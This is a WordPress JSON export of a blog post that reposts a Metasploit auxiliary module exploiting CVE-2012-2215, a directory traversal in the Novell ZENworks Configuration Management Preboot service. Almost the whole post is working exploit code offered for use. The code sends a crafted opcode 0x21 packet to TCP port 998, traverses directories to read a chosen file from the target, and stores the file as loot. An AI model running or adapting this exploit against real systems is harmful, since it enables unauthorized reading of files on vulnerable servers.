{"id":59370,"date":"2024-09-01T21:29:57","date_gmt":"2024-09-01T18:29:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181219\/zenworks_preboot_fileaccess.rb.txt"},"modified":"2024-09-01T21:29:57","modified_gmt":"2024-09-01T18:29:57","slug":"novell-zenworks-configuration-management-preboot-service-remote-file-access","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/novell-zenworks-configuration-management-preboot-service-remote-file-access\/","title":{"rendered":"Novell ZENworks Configuration Management Preboot Service Remote File Access"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Novell ZENworks Configuration Management Preboot Service Remote File Access&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a directory traversal in the ZENworks Configuration Management.<br \/>The vulnerability exists in the Preboot service and can be triggered by sending a specially<br \/>crafted PROXY_CMD_FTP_FILE (opcode 0x21) packet to the 998\/TCP port. This module has been<br \/>successfully tested on Novell ZENworks Configuration Management 10 SP2 and SP3 over Windows.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Luigi Auriemma&#8217;, # Vulnerability Discovery<br \/>&#8216;juan vazquez&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2012-2215&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;80230&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20121103122235\/http:\/\/www.verisigninc.com\/en_US\/products-and-services\/network-intelligence-availability\/idefense\/public-vulnerability-reports\/articles\/index.xhtml?id=975&#8217; ]]))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(998),<br \/>OptString.new(&#8216;FILEPATH&#8217;, [true, &#8216;The name of the file to download&#8217;, &#8216;\\\\WINDOWS\\\\system32\\\\drivers\\\\etc\\\\hosts&#8217;]),<br \/>OptInt.new(&#8216;DEPTH&#8217;, [true, &#8216;Traversal depth&#8217;, 6])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/># No point to continue if no filename is specified<br \/>if datastore[&#8216;FILEPATH&#8217;].nil? or datastore[&#8216;FILEPATH&#8217;].empty?<br \/>print_error(&#8220;Please supply the name of the file you want to download&#8221;)<br \/>return<br \/>end<\/p>\n<p>travs = &#8220;\\\\..&#8221; * datastore[&#8216;DEPTH&#8217;]travs &lt;&lt; &#8220;\\\\&#8221; unless datastore[&#8216;FILEPATH&#8217;][0] == &#8220;\\\\&#8221;<br \/>travs &lt;&lt; datastore[&#8216;FILEPATH&#8217;]\n<p>payload = Rex::Text.to_unicode(travs)<br \/>packet = [0x21].pack(&#8220;N&#8221;) # Opcode<br \/>packet &lt;&lt; [payload.length].pack(&#8220;N&#8221;) # Length<br \/>packet &lt;&lt; payload # Value<\/p>\n<p>connect<br \/>sock.put(packet)<br \/>sock.get_once(4, 1)<br \/>length = sock.get_once(4, 1)<\/p>\n<p>unless length<br \/>print_error(&#8220;Unable to get length due to a timeout&#8221;)<br \/>return<br \/>end<\/p>\n<p>sock.get_once(0x210-8, 1)<br \/>contents = sock.get_once(length.unpack(&#8220;V&#8221;).first, 1)<\/p>\n<p>unless contents<br \/>print_error(&#8220;Unable to extract contents due to a timeout&#8221;)<br \/>return<br \/>end<\/p>\n<p>disconnect<\/p>\n<p>print_good &#8220;File retrieved successfully!&#8221;<br \/>fname = File.basename(datastore[&#8216;FILEPATH&#8217;])<br \/>path = store_loot(<br \/>&#8216;novell.zenworks_configuration_management&#8217;,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>ip,<br \/>contents,<br \/>fname<br \/>)<br \/>print_status(&#8220;File saved in: #{path}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Novell ZENworks Configuration Management Preboot Service Remote File Access&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a directory traversal in the ZENworks Configuration Management.The vulnerability exists in the Preboot service and can be triggered by sending a &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59370","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59370","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59370"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59370\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59370"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59370"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59370"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}